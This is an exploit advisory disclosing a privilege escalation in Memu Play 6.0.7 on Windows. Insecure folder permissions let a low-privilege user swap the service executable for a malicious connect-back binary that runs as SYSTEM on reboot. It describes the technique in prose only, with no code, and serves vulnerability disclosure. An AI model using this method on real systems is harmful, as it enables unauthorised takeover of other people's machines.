# Exploit Title: Memu Play 6.0.7 - Privilege Escalation (PoC) # Date: 20/02/2019 # Author: Alejandra Sánchez # Vendor Homepage: https://www.memuplay.com/ # Software Link: https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release # Version: 6.0.7 # Tested on: Windows 10 / Windows 7 # Description: # Memu Play 6.0.7 suffers from Privilege Escalation due to insecure file permissions # Prerequisites # Local, Low privilege access with restart capabilities # Details # By default the Authenticated Users group has the modify permission to ESM folders/files as shown below. # A low privilege account is able to rename the MemuService.exe file located in this same path and replace # with a malicious file that would connect back to an attacking computer giving system level privileges # (nt authority\system) due to the service running as Local System. # While a low privilege user is unable to restart the service through the application, a restart of the # computer triggers the execution of the malicious file.
